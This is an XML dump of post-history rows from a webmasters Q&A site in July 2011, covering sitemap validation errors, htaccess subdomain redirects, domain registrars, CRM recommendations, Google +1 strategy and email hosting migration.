  <row Id="39090" PostHistoryTypeId="5" PostId="16412" RevisionGUID="9452c7f1-14d7-4e2a-b995-8174d3301dc4" CreationDate="2011-07-04T21:14:02.320" UserId="1976" Comment="added 44 characters in body" Text="I'm having an issue where I'm submitting my sitemap, too bad I keep this omitted error:&#xD;&#xA;&#xD;&#xA;&gt; Unsupported file format &#xD;&#xA;&#xD;&#xA;&gt;Your Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit.&#xD;&#xA;&#xD;&#xA;I followed the sitemap guidelines and error reporting types:&#xD;&#xA;&#xD;&#xA; - [Creating Sitemaps][1].&#xD;&#xA; - [Sitemap errors][2].&#xD;&#xA; &#xD;&#xA;This is what my sitemap looks like:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/home&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/feedback&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/search&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;It seems fine enough, so I re-submitted it and then it returned the same error, that my sitemap is unsupported. &#xD;&#xA;&#xD;&#xA;The sitemap has a application header of `text/xml` if changed to `application/xml`, it still won't work. What is causing this error?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=183668&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35738" />
  <row Id="39093" PostHistoryTypeId="25" PostId="16412" RevisionGUID="be2c4c8e-6d32-4be9-8780-6647aad75064" CreationDate="2011-07-04T21:27:10.980" Comment="http://twitter.com/#!/StackWebmasters/status/87995894800187392" />
  <row Id="39095" PostHistoryTypeId="5" PostId="16413" RevisionGUID="e6647bd4-24bb-4119-b588-8cd88323905a" CreationDate="2011-07-04T21:36:27.297" UserId="8354" Comment="updated validator URLs" Text="1. You can validate your sitemap here (if it is not **too** big): [[1 - does not work ATM]](http://www.validome.org/google/), [[2]](http://sitemapxml.net/sitemap-validator.php), [[3]](http://www.w3.org/2001/03/webdata/xsv), [[4]](http://www.webmasterwebtools.com/sitemap-validation/index.php) or use any other [tool](http://www.google.co.uk/search?q=sitemap+validator).&#xD;&#xA;&#xD;&#xA;2. I do not see the required `&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;` part here -- did you forgot to copy it .. or you do not have it at all? The first link you are referring to has it in the example.&#xD;&#xA;&#xD;&#xA;3. Maybe it is worth adding FULL &quot;header/definition&quot; of the `&lt;urlset&gt;` -- I have it this way everywhere and never saw any rejections/validation issues:&#xD;&#xA;&#xD;&#xA;Your sitemap.xml could be looking like this:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/home&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/feedback&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/search&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;    &lt;/urlset&gt;" />
  <row Id="39096" PostHistoryTypeId="2" PostId="16414" RevisionGUID="e3852b65-dfbe-4fb1-b77a-10aa744fc450" CreationDate="2011-07-05T00:18:43.047" UserId="8801" Text="My colleague built a really simple shopping cart platform at [SimpleCartjs.com][1] - you might want to give that a try. I think you should have some sort of shopping cart platform, even if it is really simple, because it will make it easy to expand the site in the future if needed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://simplecartjs.com" />
  <row Id="39097" PostHistoryTypeId="2" PostId="16415" RevisionGUID="a6b79ee5-23df-48fe-aaa4-dad0ee6200b1" CreationDate="2011-07-05T00:20:59.100" UserId="8801" Text="If you are looking for a more complete suite of tools I would take a look at [Raven Tools][1] and/or [SEOMoz Pro][2] - they both cost you a bit of money but they contain excellent tools and provide great ways to track your website's SEO effectiveness over time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://raventools.com&#xD;&#xA;  [2]: http://www.seomoz.org/plans" />
  <row Id="39098" PostHistoryTypeId="25" PostId="16401" RevisionGUID="7219702a-b745-4b09-93ac-6bc2b1602fa8" CreationDate="2011-07-05T00:27:11.900" Comment="http://twitter.com/#!/StackWebmasters/status/88041195900641280" />
  <row Id="39099" PostHistoryTypeId="2" PostId="16416" RevisionGUID="8ec35015-857a-45b4-9b78-42f82f556b7e" CreationDate="2011-07-05T01:21:35.383" UserId="8787" Text="I have registered a domain name with godaddy couple of days ago , but today, after i post my domain name for appraisal, it was redirecting to another domain name with just diffrent tld. extension&#xD;&#xA;&#xD;&#xA;Am i hacked?&#xD;&#xA;&#xD;&#xA;How can i resolve this problem?&#xD;&#xA;&#xD;&#xA;(domain manager shows its already parked to godaddy there is no problem with name servers they are allright but still redirecting the domain)&#xD;&#xA;" />
  <row Id="39100" PostHistoryTypeId="1" PostId="16416" RevisionGUID="8ec35015-857a-45b4-9b78-42f82f556b7e" CreationDate="2011-07-05T01:21:35.383" UserId="8787" Text="web site dns hack help" />
  <row Id="39101" PostHistoryTypeId="3" PostId="16416" RevisionGUID="8ec35015-857a-45b4-9b78-42f82f556b7e" CreationDate="2011-07-05T01:21:35.383" UserId="8787" Text="&lt;websites&gt;&lt;hacking&gt;" />
  <row Id="39102" PostHistoryTypeId="5" PostId="16396" RevisionGUID="d92a5d4d-d3fd-42c1-8cc7-625a8ed51996" CreationDate="2011-07-05T01:58:12.293" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [my website redirected by someone else](http://webmasters.stackexchange.com/questions/16395/my-website-redirected-by-someone-else)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;First of all i cant find true forum to post ,but i need a very quick help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have registered a domain name with godaddy couple of days ago , but today, after i post my domain name for appraisal, it was redirecting to another domain name with just diffrent tld. extension&#xD;&#xA;&#xD;&#xA;Am i hacked?&#xD;&#xA;&#xD;&#xA;How can i resolve this problem?&#xD;&#xA;&#xD;&#xA;(domain manager shows its already parked to godaddy there is no problem with name servers they are allright but still redirecting the domain) " />
  <row Id="39103" PostHistoryTypeId="10" PostId="16396" RevisionGUID="3b80bdf3-5a9f-48ad-b3b3-6d204d4a2219" CreationDate="2011-07-05T01:58:10.813" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39104" PostHistoryTypeId="5" PostId="16401" RevisionGUID="408be04e-e507-4578-a93f-c094f2ba2fd2" CreationDate="2011-07-05T01:59:04.120" UserId="1253" Comment="modified tags" Text="I need open source, mature, good, flexible, extensible php CRM with liberal free license that allowing for redistribution. I heard that SugarCRM is good one, but its not free, and right now their page is not working." />
  <row Id="39105" PostHistoryTypeId="6" PostId="16401" RevisionGUID="408be04e-e507-4578-a93f-c094f2ba2fd2" CreationDate="2011-07-05T01:59:04.120" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;crm&gt;" />
  <row Id="39106" PostHistoryTypeId="5" PostId="16398" RevisionGUID="d1ae134f-c9e4-4939-af99-1fd0b024a1e3" CreationDate="2011-07-05T02:01:58.360" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [hidden texts and page rank](http://webmasters.stackexchange.com/questions/15060/hidden-texts-and-page-rank)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I was wondering what would happen if we put some (around 25) relative keywords in the page using a hidden div so that the actual user does not see them but the search engines do?  &#xD;&#xA;do search engines consider this to be `keyword fraud`(!) ?" />
  <row Id="39107" PostHistoryTypeId="10" PostId="16398" RevisionGUID="89f0461f-1f06-4c51-9a78-b809d91db72a" CreationDate="2011-07-05T02:01:57.063" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39108" PostHistoryTypeId="2" PostId="16417" RevisionGUID="df8bc59e-466b-4714-8fe7-fca4eb5ccd50" CreationDate="2011-07-05T02:24:00.710" UserId="2115" Text="I have two blogs. Let's say http://name.blogspot.com/ and the other one is http://name2.blogspot.com/&#xD;&#xA;&#xD;&#xA;For blog 1: While submitting sitemap to Google webmaster tool I selected the option and then added rss.xml at last. (http://name.blogspot.com/rss.xml)&#xD;&#xA;&#xD;&#xA;Sitemap added successfully.&#xD;&#xA;&#xD;&#xA;For blog 2: I followed the same procedure but it didn't work.&#xD;&#xA;&#xD;&#xA;Then I tried to open the url (http://name.blogspot.com/rss.xml). The url was showing the atom feeds.&#xD;&#xA;&#xD;&#xA;I tried same with the other blog but that url is redirecting to the feedburner feeds. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think this is the reason why the other blog's sitemap is not getting submitted. &#xD;&#xA;&#xD;&#xA;Help me with it. " />
  <row Id="39109" PostHistoryTypeId="1" PostId="16417" RevisionGUID="df8bc59e-466b-4714-8fe7-fca4eb5ccd50" CreationDate="2011-07-05T02:24:00.710" UserId="2115" Text="How to add sitemap of a blogger blog to Google webmaster tools?" />
  <row Id="39110" PostHistoryTypeId="3" PostId="16417" RevisionGUID="df8bc59e-466b-4714-8fe7-fca4eb5ccd50" CreationDate="2011-07-05T02:24:00.710" UserId="2115" Text="&lt;sitemap&gt;" />
  <row Id="39111" PostHistoryTypeId="25" PostId="16371" RevisionGUID="1b57c642-a9fc-46a4-b205-5ff6d3c7f31d" CreationDate="2011-07-05T03:27:13.200" Comment="http://twitter.com/#!/StackWebmasters/status/88086498460696576" />
  <row Id="39112" PostHistoryTypeId="2" PostId="16418" RevisionGUID="1df5839a-6f5c-44df-8cac-c483acddaf96" CreationDate="2011-07-05T05:41:52.347" UserId="6066" Text="Typically this is something your webhost company can give you.  I suppose you could build your own, but it would have to be continuously checking the server which will eat up your bandwidth, hence the reason it usually comes from the hosting company.  You might also be able to find a hosting company with APIs that allow you to check these things...&#xD;&#xA;&#xD;&#xA;just my 2 cents.&#xD;&#xA;&#xD;&#xA;Kevin" />
  <row Id="39113" PostHistoryTypeId="2" PostId="16419" RevisionGUID="bc0e8589-1ac4-4ddb-aaa7-c2cabc5e24c2" CreationDate="2011-07-05T06:03:16.700" UserId="3224" Text="I have a forum installed in a subdirectory (http://www.example.com/forums/), but I want to have it accessed through forums.example.com and all traffic from the subdirectory passed to the subdomain.&#xD;&#xA;&#xD;&#xA;From what I can read online this is a little bit harder since the subdirectory and subdomain would be the same name. I'm on a shared server so I can't setup the subdomain outside the root folder and ideally I want to still have it setup so other scripts I use outside of the forums can access the /forums/ subfolder (i.e. DOCUMENT_ROOT using PHP).&#xD;&#xA;&#xD;&#xA;I'm not well versed at all in this so any help would be appreciated." />
  <row Id="39114" PostHistoryTypeId="1" PostId="16419" RevisionGUID="bc0e8589-1ac4-4ddb-aaa7-c2cabc5e24c2" CreationDate="2011-07-05T06:03:16.700" UserId="3224" Text="Setting up a subdomain for an already existing subfolder" />
  <row Id="39115" PostHistoryTypeId="3" PostId="16419" RevisionGUID="bc0e8589-1ac4-4ddb-aaa7-c2cabc5e24c2" CreationDate="2011-07-05T06:03:16.700" UserId="3224" Text="&lt;htaccess&gt;&lt;redirects&gt;&lt;subdomain&gt;" />
  <row Id="39116" PostHistoryTypeId="25" PostId="16417" RevisionGUID="c129897f-485e-4598-8ce7-b28c1714bd85" CreationDate="2011-07-05T06:27:14.467" Comment="http://twitter.com/#!/StackWebmasters/status/88131801637330944" />
  <row Id="39117" PostHistoryTypeId="2" PostId="16420" RevisionGUID="8becaf88-464f-4826-a9d2-408dd1000244" CreationDate="2011-07-05T06:48:50.123" UserId="3224" Text="Right now I have the following code to redirect all non-www URLs to www URLs:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^example.com&#xD;&#xA;    RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Besides that redirection, I also want to redirect all calls to /dev/ to dev.example.com. I've tried a bunch of different approaches but nothing has worked (the few that get close like ReplaceMatch will only redirect to the dev.example.com bit and will leave the rest as a query string).&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="39118" PostHistoryTypeId="1" PostId="16420" RevisionGUID="8becaf88-464f-4826-a9d2-408dd1000244" CreationDate="2011-07-05T06:48:50.123" UserId="3224" Text="Subfolder won't permenantly redirect to subdomain" />
  <row Id="39119" PostHistoryTypeId="3" PostId="16420" RevisionGUID="8becaf88-464f-4826-a9d2-408dd1000244" CreationDate="2011-07-05T06:48:50.123" UserId="3224" Text="&lt;htaccess&gt;&lt;redirects&gt;&lt;301-redirect&gt;" />
  <row Id="39120" PostHistoryTypeId="2" PostId="16421" RevisionGUID="77147278-db0a-4829-b0b1-183d394d9c9c" CreationDate="2011-07-05T06:53:58.593" UserId="231" Text="Try this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?example\.com$&#xD;&#xA;    RewriteRule ^dev/(.*) http://dev.example.com/$1 [R=301,L]" />
  <row Id="39121" PostHistoryTypeId="2" PostId="16422" RevisionGUID="0a663528-759d-4a43-a384-9c1d8f6b0429" CreationDate="2011-07-05T07:36:08.463" UserId="8793" Text="Commonly used permissions for Cpanel are: &#xD;&#xA;&#xD;&#xA;1. Folder permissions: 755 &#xD;&#xA;2. General File permission: 655&#xD;&#xA;3. Configuration  file permissions: 644   " />
  <row Id="39122" PostHistoryTypeId="5" PostId="16265" RevisionGUID="b0bea350-0a49-4314-8800-568d5fc881d4" CreationDate="2011-07-05T07:58:07.713" UserId="6913" Comment="Expanded question" Text="I have been told Joomla but I am partial to WordPress. Can anyone let me know the best membership CMS, its plus points and any big sites running it?&#xD;&#xA;&#xD;&#xA;This is for a non-profit members only site mainly dealing with tutorials, stock galleries, templates, blog posts and support forums." />
  <row Id="39123" PostHistoryTypeId="2" PostId="16423" RevisionGUID="cc7a17b8-2073-46d8-a93e-30943b997ddd" CreationDate="2011-07-05T08:01:00.907" UserId="8805" Text="Technically, assuming you want matches to only /item/#### and not allow /item/ (without a number), you should use:&#xD;&#xA;&#xD;&#xA;`/item/[0-9]+`" />
  <row Id="39124" PostHistoryTypeId="2" PostId="16424" RevisionGUID="126de7f0-32b0-4de8-8d7e-d9a13af67450" CreationDate="2011-07-05T08:20:37.380" UserId="3282" Text="I have included the Google+1 button on my blog. Each post outputs a +1 button on the bottom. Depending if you are viewing the actual post or just the main page the +1 button will &quot;+1&quot; either the post address or blog website address.&#xD;&#xA;&#xD;&#xA;This made me think for a bit if the +1 button should be configured to +1 the blog section (www.example.org/blog), +1 the main website address (www.example.org), or +1 individual posts?&#xD;&#xA;&#xD;&#xA;Tag-suggestion: Google-plus-one" />
  <row Id="39125" PostHistoryTypeId="1" PostId="16424" RevisionGUID="126de7f0-32b0-4de8-8d7e-d9a13af67450" CreationDate="2011-07-05T08:20:37.380" UserId="3282" Text="Google+1 button strategy - Combined +1s or separate +1s?" />
  <row Id="39126" PostHistoryTypeId="3" PostId="16424" RevisionGUID="126de7f0-32b0-4de8-8d7e-d9a13af67450" CreationDate="2011-07-05T08:20:37.380" UserId="3282" Text="&lt;google&gt;" />
  <row Id="39127" PostHistoryTypeId="5" PostId="16424" RevisionGUID="958787f9-0b5c-4141-91cf-ba5f970ec905" CreationDate="2011-07-05T08:24:32.167" UserId="1643" Comment="New tag (I'm sure it will be used in future)" Text="I have included the Google+1 button on my blog. Each post outputs a +1 button on the bottom. Depending if you are viewing the actual post or just the main page the +1 button will &quot;+1&quot; either the post address or blog website address.&#xD;&#xA;&#xD;&#xA;This made me think for a bit if the +1 button should be configured to +1 the blog section (www.example.org/blog), +1 the main website address (www.example.org), or +1 individual posts?" />
  <row Id="39128" PostHistoryTypeId="6" PostId="16424" RevisionGUID="958787f9-0b5c-4141-91cf-ba5f970ec905" CreationDate="2011-07-05T08:24:32.167" UserId="1643" Comment="New tag (I'm sure it will be used in future)" Text="&lt;google&gt;&lt;google-plus-one&gt;" />
  <row Id="39129" PostHistoryTypeId="2" PostId="16425" RevisionGUID="ca6fd480-5cc3-4a9f-9a97-5b78fb2ad98b" CreationDate="2011-07-05T08:50:41.390" UserId="7198" Text="I suggest having +1 buttons affect whatever page they're on (i.e. individual posts instead of your homepage or blog page, if that's what's being displayed).&#xD;&#xA;&#xD;&#xA;This maximises the chance of other +1 users seeing recommendations in their search results for the wide range of search terms that return your blog posts, instead of the handful of search terms that return your blog's homepage.&#xD;&#xA;&#xD;&#xA;Having as many pages plussed as possible is a good strategy, because Google only gives up a small space in search results to show that friends recommended that page; the increased clickthrough from having 10 people the user knows recommend a particular site over one person recommending it is likely to be negligible. I will often visit sites that one friend has plussed, even if it's quite low in the search results; it really is a good indicator of quality. (If you trust your friends.)&#xD;&#xA;&#xD;&#xA;Of course, the +1 button on your blog and homepage could still plus the index pages themselves as you've suggested." />
  <row Id="39130" PostHistoryTypeId="2" PostId="16426" RevisionGUID="c1b89768-a8ba-45e5-afcf-7e994646e260" CreationDate="2011-07-05T09:10:16.573" UserId="7198" Text="From [Using FeedBurner with Google Webmaster Tools](http://www.google.com/support/feedburner/bin/answer.py?hl=en&amp;answer=97090):&#xD;&#xA;&#xD;&#xA;&gt; Sitemaps expect the original domain of&#xD;&#xA;&gt; the website in question to be found in&#xD;&#xA;&gt; the feed in order to function&#xD;&#xA;&gt; properly; these&#xD;&#xA;&gt; feedburner.com-rewritten permalinks&#xD;&#xA;&gt; will not work and then cause Webmaster&#xD;&#xA;&gt; Tools to report a sitemaps error.&#xD;&#xA;&#xD;&#xA;To fix it, change your sitemap URL from this:&#xD;&#xA;&#xD;&#xA;`http://name.blogspot.com/rss.xml`&#xD;&#xA;&#xD;&#xA;to this:&#xD;&#xA;&#xD;&#xA;`http://name.blogspot.com/feeds/posts/default?redirect=false`" />
  <row Id="39131" PostHistoryTypeId="25" PostId="16424" RevisionGUID="1ef7e215-1535-41f6-b9cd-6b011e85bdce" CreationDate="2011-07-05T09:27:14.437" Comment="http://twitter.com/#!/StackWebmasters/status/88177103408861184" />
  <row Id="39132" PostHistoryTypeId="2" PostId="16427" RevisionGUID="f05f9e3c-07e8-4760-ae0d-11bef938158c" CreationDate="2011-07-05T10:09:32.810" UserId="798" Text="There is also [vTiger][1]. It started as a fork of SugarCRM (long ago).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vtiger.com/" />
  <row Id="39133" PostHistoryTypeId="2" PostId="16428" RevisionGUID="3f3a9dd4-79bc-4e9a-9e4a-5662210c9427" CreationDate="2011-07-05T10:14:17.460" UserId="4744" Text="I am searching a good register (not godaddy) for &#xD;&#xA;&#xD;&#xA;    .com.br &#xD;&#xA;    .it&#xD;&#xA;    .fr&#xD;&#xA;    .de&#xD;&#xA;    .ch&#xD;&#xA;    .es&#xD;&#xA;&#xD;&#xA;Is there someone who can take it all?   &#xD;&#xA;I would go with Enom but it hasn't `.fr .com.br .ch .es`&#xD;&#xA;&#xD;&#xA;Thanks guys" />
  <row Id="39134" PostHistoryTypeId="1" PostId="16428" RevisionGUID="3f3a9dd4-79bc-4e9a-9e4a-5662210c9427" CreationDate="2011-07-05T10:14:17.460" UserId="4744" Text="is there a good register for .com.br and .it ?" />
  <row Id="39135" PostHistoryTypeId="3" PostId="16428" RevisionGUID="3f3a9dd4-79bc-4e9a-9e4a-5662210c9427" CreationDate="2011-07-05T10:14:17.460" UserId="4744" Text="&lt;domains&gt;&lt;domain-registration&gt;&lt;registrar&gt;" />
  <row Id="39136" PostHistoryTypeId="5" PostId="16428" RevisionGUID="a054b363-5a2f-47d7-b7cb-7959ee1006e3" CreationDate="2011-07-05T10:16:00.823" UserId="1643" Comment="typo" Text="I am searching a good registrar (not godaddy) for &#xD;&#xA;&#xD;&#xA;    .com.br &#xD;&#xA;    .it&#xD;&#xA;    .fr&#xD;&#xA;    .de&#xD;&#xA;    .ch&#xD;&#xA;    .es&#xD;&#xA;&#xD;&#xA;Is there someone who can take it all?   &#xD;&#xA;I would go with Enom but it hasn't `.fr .com.br .ch .es`&#xD;&#xA;&#xD;&#xA;Thanks guys" />
  <row Id="39137" PostHistoryTypeId="4" PostId="16428" RevisionGUID="a054b363-5a2f-47d7-b7cb-7959ee1006e3" CreationDate="2011-07-05T10:16:00.823" UserId="1643" Comment="typo" Text="is there a good registrar for .com.br and .it ?" />
  <row Id="39139" PostHistoryTypeId="2" PostId="16430" RevisionGUID="b93f722a-138a-4962-b191-e23fdbc235fc" CreationDate="2011-07-05T10:34:26.157" UserId="1643" Text="Once you switch your MX entries your email will start arriving in the new place. However people who have the old entries cached will still send to the old place. Providing you can pick up your email from both places you'll be alright. After 3 days all email should be arriving at the new place." />
  <row Id="39140" PostHistoryTypeId="2" PostId="16431" RevisionGUID="098a742d-678d-442f-ba18-99ba2dae738d" CreationDate="2011-07-05T11:28:28.797" UserId="1803" Text="I've used the following redirect-code to rewrite any sub-domains to a URL-parameter:&#xD;&#xA;&#xD;&#xA;    # rewrite subdomain&#xD;&#xA;    RewriteCond %{ENV:REDIRECT_STATUS} ^$&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^([^\.]+)\.example\.org$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ index.php?q=116&amp;company_name=%1$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;`%1` is the regex-match for the subdomain;&#xD;&#xA;`$1` consists of all other URL-params;&#xD;&#xA;&#xD;&#xA;Play around with it, to redirect to a folder, like:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{ENV:REDIRECT_STATUS} ^$&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^([^\.]+)\.example\.org$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ /%1/$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39141" PostHistoryTypeId="2" PostId="16432" RevisionGUID="2c223581-e172-47b9-a17f-9693c32c97bf" CreationDate="2011-07-05T11:39:39.543" UserId="7198" Text="[EuroDNS](http://www.eurodns.com/) claim to offer registration for all of the domain extensions you list (and more)." />
  <row Id="39142" PostHistoryTypeId="5" PostId="16419" RevisionGUID="b25671e6-4036-4d9f-9077-1349891e89f5" CreationDate="2011-07-05T11:48:28.460" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Subfolder won&amp;#39;t permenantly redirect to subdomain](http://webmasters.stackexchange.com/questions/16420/subfolder-wont-permenantly-redirect-to-subdomain)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a forum installed in a subdirectory (http://www.example.com/forums/), but I want to have it accessed through forums.example.com and all traffic from the subdirectory passed to the subdomain.&#xD;&#xA;&#xD;&#xA;From what I can read online this is a little bit harder since the subdirectory and subdomain would be the same name. I'm on a shared server so I can't setup the subdomain outside the root folder and ideally I want to still have it setup so other scripts I use outside of the forums can access the /forums/ subfolder (i.e. DOCUMENT_ROOT using PHP).&#xD;&#xA;&#xD;&#xA;I'm not well versed at all in this so any help would be appreciated." />
  <row Id="39143" PostHistoryTypeId="10" PostId="16419" RevisionGUID="248464a8-8a70-44ad-bd65-630aeb2e560e" CreationDate="2011-07-05T11:48:27.773" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39144" PostHistoryTypeId="2" PostId="16433" RevisionGUID="950eb75a-073b-4249-8e2a-5c017b3c3f25" CreationDate="2011-07-05T11:52:47.957" UserId="8807" Text="1. Setup an email account with GMAIL and then set GMAIL to read in your emails from the hosted mail service. This provides a backup if something goes astray during the transfer process. &#xD;&#xA;&#xD;&#xA;2. Simply setup with the new hosting provider before cancelling the ole one, change your NameServer details and within 48 hours you will start recieving and sending mail through your new proivder. Use the IP address or mail.yourprovider.com to download any residual mail recieved at your old provider. &#xD;&#xA;&#xD;&#xA;3. Check your backup gmail account as it will get all copies and be one of the first once the nameservers change.&#xD;&#xA;&#xD;&#xA;4. Cancel your old hosting provider. " />
  <row Id="39145" PostHistoryTypeId="2" PostId="16434" RevisionGUID="3f31507d-1c1b-4e14-9bd5-9d49d43e2f37" CreationDate="2011-07-05T11:55:10.810" UserId="1253" Text="Accepting payments from Africa is very high risk due to the amount of fraud originating from there. I'd be surprised if you found a provider that allowed you to accept payments from there and had fees anywhere near what Paypal offers." />
  <row Id="39146" PostHistoryTypeId="2" PostId="16435" RevisionGUID="d38cb50f-d393-4cc3-8d3f-91cd435f9e06" CreationDate="2011-07-05T11:57:25.317" UserId="8807" Text="A good VPS setup is essentially a cloud setup. But as mentioned above most VPS services run on single beefed up servers.&#xD;&#xA;&#xD;&#xA;WHen choosing a cloud service get one that bill on monthly rather than daily or specific cycles. IF you have a high volume site it wont be that you get suspended but you get a bill you can never afford to pay. &#xD;&#xA;&#xD;&#xA;Softlayer.com offer simple cloud instance which is better than VPS and bill at a set monthly rate for set bandwidth/cpu/memory/disk" />
  <row Id="39147" PostHistoryTypeId="2" PostId="16436" RevisionGUID="f34821e2-904d-4775-8344-92a8a24d2f45" CreationDate="2011-07-05T12:15:19.300" UserId="8808" Text="I'm currently developing a web application which has a lot of javascript working behind it.  Before I deploy it (which will take a couple of months), I want to make sure that it is atleast a bit secure in terms of attacks. &#xD;&#xA;&#xD;&#xA;I saw [this][1] link already but it doesn't have any resources that I could use to learn the 'art' of hacking. I don't want to exploit other sites, I just want to learn it to make my site safe. &#xD;&#xA;&#xD;&#xA;This is my [site][2].&#xD;&#xA;&#xD;&#xA;Thank You.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/15966/is-it-necessary-for-a-web-developer-to-know-how-to-hack-website&#xD;&#xA;  [2]: http://www.CodersOnCloud.com" />
  <row Id="39148" PostHistoryTypeId="1" PostId="16436" RevisionGUID="f34821e2-904d-4775-8344-92a8a24d2f45" CreationDate="2011-07-05T12:15:19.300" UserId="8808" Text="Hacking resources" />
  <row Id="39149" PostHistoryTypeId="3" PostId="16436" RevisionGUID="f34821e2-904d-4775-8344-92a8a24d2f45" CreationDate="2011-07-05T12:15:19.300" UserId="8808" Text="&lt;web-security&gt;" />
  <row Id="39150" PostHistoryTypeId="2" PostId="16437" RevisionGUID="70a8721e-7d6e-4d24-8b64-82caeae8f672" CreationDate="2011-07-05T12:26:30.670" UserId="1089" Text="I was sent a link recently (http://**www2**.biotech.wisc.edu/)  &#xD;&#xA;&#xD;&#xA;I've occasionally noticed this appear in some web addresses, where does the &quot;2&quot; come from? Does it mean anything? How would I go about getting a www2 web address if I wanted one?" />
  <row Id="39151" PostHistoryTypeId="1" PostId="16437" RevisionGUID="70a8721e-7d6e-4d24-8b64-82caeae8f672" CreationDate="2011-07-05T12:26:30.670" UserId="1089" Text="URLs which begin &quot;www2&quot;" />
  <row Id="39152" PostHistoryTypeId="3" PostId="16437" RevisionGUID="70a8721e-7d6e-4d24-8b64-82caeae8f672" CreationDate="2011-07-05T12:26:30.670" UserId="1089" Text="&lt;www2&gt;" />
  <row Id="39153" PostHistoryTypeId="25" PostId="16377" RevisionGUID="93912064-0ac1-4be7-9273-a56cc11893c2" CreationDate="2011-07-05T12:27:14.533" Comment="http://twitter.com/#!/StackWebmasters/status/88222402584117248" />
